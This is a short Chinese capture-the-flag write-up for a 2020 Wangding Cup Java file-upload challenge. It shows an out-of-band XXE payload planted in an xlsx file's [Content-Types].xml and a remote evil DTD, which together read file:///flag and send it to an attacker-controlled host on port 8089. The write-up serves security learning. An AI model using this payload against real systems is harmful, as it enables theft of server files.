2020网鼎杯---Java文件上传wp
程序员文章站
2022-05-19 10:44:59
...
前言
一篇文章读懂Java代码审计之XXE看过我这篇博客应该不难,没看过建议在看看。
题解
下载了所有的class发现需要上传xlsx poi
开头必须是execl
-
新建execl
-1.xlsx文件,修改后缀名execl
-1.xlsx.zip解压。 -
修改[Content-Types].xml
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://ip:8089/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
-
重新打包成
excel-1.xlsx
,文件名一定不能错。 -
在服务器上新建一个
evil.etd
文件。
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:8089/%file;'>">
- 然后直接上传,查看服务器http记录。
上一篇: PATH和path,傻傻分不清
下一篇: 网鼎杯 2018 unfinish
推荐阅读